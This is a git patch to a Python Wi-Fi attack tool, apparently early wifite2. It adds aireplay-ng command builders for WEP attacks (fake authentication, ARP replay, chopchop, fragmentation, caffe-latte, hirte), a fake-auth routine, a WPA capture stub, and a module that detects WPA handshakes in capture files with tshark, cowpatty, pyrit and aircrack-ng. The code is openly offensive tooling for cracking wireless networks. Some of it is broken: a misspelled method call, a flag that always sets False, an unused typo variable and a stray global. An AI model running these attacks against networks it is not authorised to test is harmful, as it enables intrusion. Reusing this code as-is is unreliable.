From aebc38c631b406bdcc27072b456d70755ff175c5 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 30 May 2015 05:35:36 -0700 Subject: [PATCH] Handshake detection, various bug fixes. --- py/Aireplay.py | 123 +++++++++++++---- py/Airodump.py | 5 +- py/Arguments.py | 14 +- py/Attack.py | 38 ++++++ py/AttackWEP.py | 93 ++++++++++--- py/AttackWPA.py | 13 +- py/AttackWPS.py | 13 ++ py/Configuration.py | 2 + py/Handshake.py | 325 ++++++++++++++++++++++++++++++++++++++++++++ 9 files changed, 578 insertions(+), 48 deletions(-) create mode 100644 py/AttackWPS.py create mode 100644 py/Handshake.py diff --git a/py/Aireplay.py b/py/Aireplay.py index b5415c5..f7fd23c 100644 --- a/py/Aireplay.py +++ b/py/Aireplay.py @@ -5,41 +5,108 @@ from Process import Process class WEPAttackType(object): ''' Enumeration of different WEP attack types ''' - replay = 0 - chopchop = 1 - fragmentation = 2 - caffelatte = 3 - p0841 = 4 - hirte = 5 + fakeauth = 0 + replay = 1 + chopchop = 2 + fragment = 3 + caffelatte = 4 + p0841 = 5 + hirte = 6 + + def __init__(self, var): + ''' + Sets appropriate attack name/value given an input. + Args: + var - Can be a string, number, or WEPAttackType object + This object's name & value is set depending on var. + ''' + self.value = None + self.name = None + if type(var) == int: + for (name,value) in WEPAttackType.__dict__.iteritems(): + if type(value) == int: + if value == var: + self.name = name + self.value = value + return + raise Exception("Attack number %d not found" % var) + elif type(var) == str: + for (name,value) in WEPAttackType.__dict__.iteritems(): + if type(value) == int: + if name == var: + self.name = name + self.value = value + return + raise Exception("Attack name %s not found" % var) + elif type(var) == WEPAttackType: + self.name = var.name + self.value = var.value + else: + raise Exception("Attack type not supported") + + def __str__(self): + return self.name class Aireplay(object): - def __init__(self): - self.pid = None # Process instance for aireplay-ng - self.attack_type = None + def __init__(self, target, attack_type): + ''' + Starts aireplay process. + Args: + target - Instance of Target object, AP to attack. + attack_type - int, str, or WEPAttackType instance. + ''' + cmd = Aireplay.get_aireplay_command(target, attack_type) + self.pid = Process(cmd, devnull=False) - def run_wep_attack(self, target, attack_type): - ''' Starts aireplay process ''' - cmd = self.get_aireplay_command(target, attack_type) - if self.pid and self.pid.poll() != None: - # Aireplay is already running, kill it - self.pid.interrupt() - self.pid = Process(cmd, devnull=True) + def is_running(self): + return self.pid.poll() == None - def stop_wep_attack(self): + def stop(self): ''' Stops aireplay process ''' if self.pid and self.pid.poll() != None: self.pid.interrupt() - def get_aireplay_command(self, target, attack_type): - ''' Generates aireplay command based on target and attack type ''' + def get_output(self): + ''' Returns stdout from aireplay process ''' + return self.pid.stdout() + + @staticmethod + def get_aireplay_command(target, attack_type): + ''' + Generates aireplay command based on target and attack type + Args: + target - Instance of Target object, AP to attack. + attack_type - int, str, or WEPAttackType instance. + ''' + + # Interface is required at this point + Configuration.initialize() + if Configuration.interface == None: + raise Exception("Wireless interface must be defined (-i)") + cmd = ['aireplay-ng'] cmd.append('--ignore-negative-one') client_mac = None if len(target.clients) > 0: client_mac = target.clients[0].station - if attack_type == WEPAttackType.replay: + # type(attack_type) might be str, int, or WEPAttackType. + # Find the appropriate attack enum. + attack_type = WEPAttackType(attack_type).value + + if attack_type == WEPAttackType.fakeauth: + cmd.extend(['-1', '0']) # Fake auth, no delay + cmd.extend(['-a', target.bssid]) + cmd.extend(['-T', '1']) # Make 1 attemp + if target.essid_known: + cmd.extend(['-e', target.essid]) + + # TODO Should we specify the source MAC as a client station? + #if client_mac: + # cmd.extend(['-h', client_mac]) + + elif attack_type == WEPAttackType.replay: cmd.append('--arpreplay') cmd.extend(['-b', target.bssid]) cmd.extend(['-x', str(Configuration.wep_pps)]) @@ -56,7 +123,7 @@ class Aireplay(object): if client_mac: cmd.extend(['-h', client_mac]) - elif attack_type == WEPAttackType.fragmentation: + elif attack_type == WEPAttackType.fragment: cmd.append('--fragment') cmd.extend(['-b', target.bssid]) cmd.extend(['-x', str(Configuration.wep_pps)]) @@ -88,19 +155,27 @@ class Aireplay(object): raise Exception("Client is required for hirte attack") cmd.append('--cfrag') cmd.extend(['-h', client_mac]) + else: + raise Exception("Unexpected attack type: %s" % attack_type) cmd.append(Configuration.interface) return cmd if __name__ == '__main__': - Configuration.initialize() + t = WEPAttackType(4) + print t.name, type(t.name), t.value - a = Aireplay() + t = WEPAttackType('caffelatte') + print t.name, type(t.name), t.value + + t = WEPAttackType(t) + print t.name, type(t.name), t.value from Target import Target fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',') t = Target(fields) - print ' '.join(a.get_aireplay_command(t, WEPAttackType.replay)) + cmd = Aireplay.get_aireplay_command(t, 'fakeauth') + print ' '.join(['"%s"' % a for a in cmd]) diff --git a/py/Airodump.py b/py/Airodump.py index 8ecf40b..107d6e6 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -19,7 +19,7 @@ class Airodump(object): if interface == None: interface = Configuration.interface if interface == None: - raise Exception("Interface must be defined") + raise Exception("Wireless interface must be defined (-i)") self.interface = interface self.targets = [] @@ -86,7 +86,7 @@ class Airodump(object): # Find the .CSV file csv_filename = None for fil in os.listdir(Configuration.temp()): - if fil.startswith(self.output_file_prefix) and fil.endswith('csv'): + if fil.startswith(self.output_file_prefix) and fil.endswith('-01.csv'): # Found the file csv_filename = Configuration.temp() + fil break @@ -100,6 +100,7 @@ class Airodump(object): import csv with open(csv_filename, 'rb') as csvopen: csv_reader = csv.reader(csvopen, delimiter=',') + hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client diff --git a/py/Arguments.py b/py/Arguments.py index fe9f76e..3aecc96 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -33,21 +33,25 @@ class Arguments(object): action='store_true', dest='wep_only', help='Only target WEP-encrypted networks (ignores WPA)') + wep.add_argument('--require-fakeauth', + action='store_true', + dest='require_fakeauth', + help='Fails attacks if fake-authentication fails') # WPA - wep = parser.add_argument_group('WPA-RELATED') - wep.add_argument('--wpa', + wpa = parser.add_argument_group('WPA-RELATED') + wpa.add_argument('--wpa', action='store_true', dest='wpa_only', help='Only target WPA-encrypted networks (ignores WEP)') # WPS - wep = parser.add_argument_group('WPS-RELATED') - wep.add_argument('--wps', + wps = parser.add_argument_group('WPS-RELATED') + wps.add_argument('--wps', action='store_true', dest='wps_only', help='Only target WPS-encrypted networks (ignores WEP/nonWPS)') - wep.add_argument('--pixie', + wps.add_argument('--pixie', action='store_true', dest='pixie_only', help='Only use the WPS Pixie-Dust attack (do not crack PINs)') diff --git a/py/Attack.py b/py/Attack.py index ca1b368..2b7296d 100644 --- a/py/Attack.py +++ b/py/Attack.py @@ -1,9 +1,47 @@ #!/usr/bin/python class Attack(object): + ''' + Contains functionality common to all attacks + ''' + + target_wait = 10 + def __init__(self, target): self.target = target def run(self): raise Exception("Unimplemented method: run") + def wait_for_target(self, airodump): + ''' + Waits for target to appear in airodump + ''' + start_time = time.time() + targets = airodump.get_targets() + while len(targets) == 0: + # Wait for target to appear in airodump. + if int(time.time() - start_time) > Attack.target_wait: + raise Exception( + "Target did not appear after %d seconds, stopping" + % Attack.target_wait) + time.sleep(1) + targets = airodump.get_targets() + continue + + # Ensure this target was seen by airodump + airodump_target = None + for t in targets: + if t.bssid == self.target.bssid: + airodump_target = t + break + + if airodump_target == None: + raise Exception( + 'Could not find target (%s) in airodump' % self.target.bssid) + + return airodump_target + + +if __name__ == '__main__': + pass diff --git a/py/AttackWEP.py b/py/AttackWEP.py index 17f9d90..a163b2c 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -1,33 +1,94 @@ #!/usr/bin/python from Attack import Attack +from Airodump import Airodump +from Aireplay import Aireplay, WEPAttackType +from Configuration import Configuration +from Color import Color import time class AttackWEP(Attack): + ''' + Contains logic for attacking a WEP-encrypted access point. + ''' + + fakeauth_wait = 5 + def __init__(self, target): super(AttackWEP, self).__init__(target) def run(self): - start_time = time.time() + ''' + Initiates full WEP attack. + Including airodump-ng starting, cracking, etc. + ''' # First, start Airodump process - with Airodump(channel=target.channel, + with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, - output_file_prefix='wep') - as airodump: + output_file_prefix='wep') as airodump: - while len(airodump.targets) == 0: - # Target has not appeared in airodump yet - # Wait for it to appear - if int(time.time() - start_time) > 10: - # Target didn't appear after 10 seconds, drop out - print "Target did not show after 10 seconds, stopping" - return None - time.sleep(1) - continue + airodump_target = self.wait_for_target(airodump) - airodump_target = airodump.targets[0] + for attack_num in xrange(1, 6): + pass + #aireplay = Aireplay(self.target, attack_num) + ''' + TODO (pending until I get a router to test on) + * Wait for IVS to start flowing, e.g. sleep(1). + * if IVS > threshold, start cracking. + * Check aireplay.is_running() to see if it completed/failed. + * Continue attacks depending on aireplay status. + ''' + + + def fake_auth(self): + ''' + Attempts to fake-authenticate with target. + Returns: True if successful, + False is unsuccesful. + ''' + start_time = time.time() + aireplay = Aireplay(self.target, 'fakeauth') + process_failed = False + while aireplay.is_running(): + if int(time.time() - start_time) > AttackWEP.fakeauth_wait: + aireplay.stop() + process_failed = True + break + time.sleep(1) + + # Check if fake-auth was successful + if process_failed: + fakeauth = False + else: + output = aireplay.get_output() + fakeauth = 'association successful' in output.lower() + + if fakeauth: + Color.pl('{+} {G}fake-authentication successful{W}') + else: + if Configuration.require_fakeauth: + # Fakeauth is requried, fail + raise Exception( + 'Fake-authenticate did not complete within' + + ' %d seconds' % AttackWEP.fakeauth_wait) + else: + # Warn that fakeauth failed + Color.pl('{!} {O}' + + 'unable to fake-authenticate with target' + + ' (%s){W}' % self.target.bssid) + Color.pl('{!} continuing attacks because' + + ' {G}--require-fakeauth{W} was not set') + return fakeauth + + + +if __name__ == '__main__': + from Target import Target + fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',') + target = Target(fields) + wep = AttackWEP(target) + wep.fake_auth() - # Fake authenticate - #aireplay = Aireplay() diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 89b4847..528a77f 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -7,5 +7,16 @@ class AttackWPA(Attack): super(AttackWPA, self).__init__(target) def run(self): - raise Exception("TODO: Crack WPA") + ''' + Initiates full WPA hanshake capture attack. + ''' + # First, start Airodump process + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + output_file_prefix='wpa') as airodump: + + airodump_target = self.wait_for_target(airodump) + + for attack_num in xrange(1, 6): + attack_type = WEPAttackType(attack_num) diff --git a/py/AttackWPS.py b/py/AttackWPS.py new file mode 100644 index 0000000..2f7919c --- /dev/null +++ b/py/AttackWPS.py @@ -0,0 +1,13 @@ +#!/usr/bin/python + +from Attack import Attack + +class AttackWPS(Attack): + def __init__(self, target): + super(AttackWPS, self).__init__(target) + + def run(self): + raise Exception("TODO: Crack WPS") + +if __name__ == '__main__': + pass diff --git a/py/Configuration.py b/py/Configuration.py index a941e08..c4d46c4 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -32,6 +32,7 @@ class Configuration(object): Configuration.wep_only = False # Only attack WEP networks Configuration.wep_pps = 6000 # Packets per second Configuration.wep_timeout = 600 # Seconds to wait before failing + Configuration.require_fakeauth = False # WEP-specific attacks Configuration.wep_fragment = True Configuration.wep_caffelatte = True @@ -79,6 +80,7 @@ class Configuration(object): if args.wps_only: Configuration.wps_only = args.wps_only if args.pixie_only: Configuration.pixie_only = args.pixie_only if args.wordlist: Configuration.wordlist = args.wordlist + if args.require_fakeauth: Configuration.require_fakeauth = False @staticmethod diff --git a/py/Handshake.py b/py/Handshake.py new file mode 100644 index 0000000..00a7a80 --- /dev/null +++ b/py/Handshake.py @@ -0,0 +1,325 @@ +#!/usr/bin/python + +from Process import Process +from Color import Color + +import re + +class Handshake(object): + def __init__(self, capfile, bssid=None, essid=None): + self.capfile = capfile + self.bssid = bssid + self.essid = essid + + def divine_bssid_and_essid(self): + ''' + Tries to find BSSID and ESSID from cap file. + Sets this instances 'bssid' and 'essid' instance fields. + ''' + # Get list of bssid/essid pairs from cap file + pairs = self.tshark_bssid_essid_pairs() + if len(pairs) == 0: + # Find bssid/essid pairs that have handshakes in Pyrit + pairs = self.pyrit_handshakes() + + if len(pairs) == 0: + # Tshark and Pyrit failed us, nothing else we can do. + raise Exception("Cannot find BSSID or ESSID in cap file") + + if not self.essid and not self.bssid: + # We do not know the bssid nor the essid + Color.pl('{!} {O}Warning{W}:' + + ' {R}bssid{O} and {R}essid{O} were not specified{W}') + # TODO: Display menu for user to select from list + # HACK: Just use the first one we see + self.bssid = pairs[0][0] + self.essid = pairs[0][1] + Color.pl('{!} {O}Warning{W}:' + + ' {O}Arbitrarily selected' + + ' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' + % (self.bssid, self.essid)) + + elif not self.bssid: + # We already know essid + for (bssid, essid) in pairs: + if self.essid == essid: + Color.pl('{+} Discovered bssid {C}%s{W}' % bssid) + self.bssid = bssid + break + + elif not self.essid: + # We already know bssid + for (bssid, essid) in pairs: + if self.bssid.lower() == bssid.lower(): + Color.pl('{+} Discovered essid "{C}%s{W}"' % essid) + self.essid = essid + break + + def has_handshake(self): + if not self.bssid or not self.essid: + self.divine_essid_and_bssid() + + if self.tshark_handshakes(): + return True + + if self.cowpatty_handshakes(): + return True + + if self.pyrit_handshakes(): + return True + + + def tshark_bssid_essid_pairs(self): + ''' + Scrapes capfile for beacon frames indicating the ESSID. + Returns list of tuples: (bssid,essid) + ''' + if not Process.exists('tshark'): + raise Exception('tshark is required to find ESSID') + + essids = set() + + # Extract beacon frames from cap file + cmd = [ + 'tshark', + '-r', self.capfile, + '-R', 'wlan.fc.type_subtype == 0x08', + '-n' + ] + proc = Process(cmd, devnull=False) + for line in proc.stdout().split('\n'): + # Extract src, dst, and essid + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s) -> (%s).*.*SSID=(.*)$' + % (mac_regex, mac_regex), line) + if match == None: + # Line doesn't contain src, dst, ssid + continue + (src, dst, essid) = match.groups() + if self.bssid: + # We know the BSSID, only return the ESSID for this BSSID. + if self.bssid.lower() == src.lower(): + essids.add((src, essid)) + else: + # We do not know BSSID, add it. + essids.add((src, essid)) + # Return list of tuples + return [x for x in essids] + + + def tshark_command(self): + return [ + 'tshark', + '-r', self.capfile, + '-R', 'eapol', + '-n' + ] + + def tshark_handshakes(self): + ''' Returns True if tshark identifies a handshake, False otherwise ''' + if not Process.exists('tshark'): + return [] + + target_client_msg_nums = {} + + # Dump EAPOL packets + proc = Process(self.tshark_command(), devnull=False) + for line in proc.stdout().split('\n'): + # Extract source mac, destination mac, and message numbers + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search('(%s) -> (%s).*Message.*(\d).*(\d)' + % (mac_regex, mac_regex), line) + if match == None: + # Line doesn't contain src, dst, Message numbers + continue + (src, dst, index, ttl) = match.groups() + # "Message (index) of (ttl)" + index = int(index) + ttl = int(ttl) + + if ttl != 4: + # Must be a 4-way handshake + continue + + # Identify the client and target MAC addresses + if index % 2 == 1: + # First and Third messages + target = src + client = dst + else: + # Second and Fourth messages + client = src + target = dst + + if self.bssid and self.bssid.lower() != target.lower(): + # We know the BSSID and this msg was not for the target + continue + + target_client_key = '%s,%s' % (target, client) + + # Ensure all 4 messages are: + # Between the same client and target + # In numeric & chronological order (1,2,3,4) + if index == 1: + # First message, add to dict + target_client_msg_nums[target_client_key] = 1 + + elif target_client_key not in target_client_msg_nums: + # Not first message, we haven't gotten the first message yet + continue + + elif index - 1 != target_client_msg_nums[target_client_key]: + # Message is not in sequence + continue + + else: + # Message is > 1 and is received in-order + target_client_msg_nums[target_client_key] = index + + bssids = set() + # Check if we have all 4 messages for the handshake between the same MACs + for (client_target, num) in target_client_msg_nums.iteritems(): + if num == 4: + # We got a handshake! + bssid = client_target.split(',')[0] + bssids.add(bssid) + + return [(bssid, None) for bssid in bssids] + + + def cowpatty_command(self): + return [ + 'cowpatty', + '-r', self.capfile, + '-s', self.essid, + '-c' # Check for handshake + ] + + def cowpatty_handshakes(self): + ''' Returns True if cowpatty identifies a handshake, False otherwise ''' + if not Process.exists('cowpatty'): + return [] + if not self.essid: + return [] # We need a essid for cowpatty :( + + proc = Process(self.cowpatty_command(), devnull=False) + for line in proc.stdout().split('\n'): + if 'Collected all necessary data to mount crack against WPA' in line: + return [(None, self.essid)] + return [] + + + def pyrit_command(self): + return [ + 'pyrit', + '-r', self.capfile, + 'analyze' + ] + + def pyrit_handshakes(self): + ''' Returns True if pyrit identifies a handshake, False otherwise ''' + if not Process.exists('pyrit'): + return [] + + bssid_essid_pairs = set() + hit_target = False + current_bssid = self.bssid + current_essid = self.essid + proc = Process(self.pyrit_command(), devnull=False) + for line in proc.stdout().split('\n'): + mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] + match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" + % (mac_regex), line) + if match: + # We found a BSSID and ESSID + (bssid, essid) = match.groups() + + # Compare to what we're searching for + if self.bssid and self.bssid.lower() == bssid.lower(): + current_essid = essid + hit_target = True + continue + + elif self.essid and self.essid == essid: + current_bssid = bssid + hit_target = True + continue + + elif not self.bssid and not self.essid: + # We don't know either + current_bssid = bssid + current_essid = essid + hit_target = True + else: + # This AccessPoint is not what we're looking for + hit_Target = False + else: + # Line does not contain AccessPoint + if hit_target and ', good,' in line: + bssid_essid_pairs.add( (current_bssid, current_essid) ) + return [x for x in bssid_essid_pairs] + + + def aircrack_command(self): + return 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) + + def aircrack_handshakes(self): + if not self.bssid: + return [] + (stdout, stderr) = Process.call(self.aircrack_command()) + if 'passphrase not in dictionary' in stdout.lower(): + return [(self.bssid, None)] + else: + return [] + + def analyze(self): + hs.divine_bssid_and_essid() + + pairs = hs.tshark_handshakes() + Handshake.print_pairs(pairs, 'tshark') + + pairs = hs.pyrit_handshakes() + Handshake.print_pairs(pairs, 'pyrit') + + pairs = hs.cowpatty_handshakes() + Handshake.print_pairs(pairs, 'cowpatty') + + pairs = hs.aircrack_handshakes() + Handshake.print_pairs(pairs, 'aircrack') + + @staticmethod + def print_pairs(pairs, tool=None): + ''' + Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) + ''' + tool_str = '' + if tool: + tool_str = '{C}%s{W}: ' % tool.rjust(8) + + if len(pairs) == 0: + Color.pl("{!} %s%s {R}does not{O} contain a handshake{W}" + % (tool_str,hs.capfile)) + return + + for (bssid, essid) in pairs: + if bssid and essid: + Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W} ({G}%s{W})" + % (tool_str, hs.capfile, bssid, essid)) + elif bssid: + Color.pl("{+} %s%s {G}contains a handshake{W} for {G}%s{W}" + % (tool_str, hs.capfile, bssid)) + elif essid: + Color.pl("{+} %s%s {G}contains a handshake{W} for ({G}%s{W})" + % (tool_str, hs.capfile, essid)) + + + +if __name__ == '__main__': + #hs = Handshake('/tmp/test.cap') + hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18') + #hs = Handshake('/tmp/test.cap', bssid='30:85:a9:39:d2:18', essid="Uncle Router's Gigabit LAN Party") + #hs = Handshake('/tmp/test.cap.stripped.tshark') + + hs.analyze() + print "has_hanshake() =", hs.has_handshake() +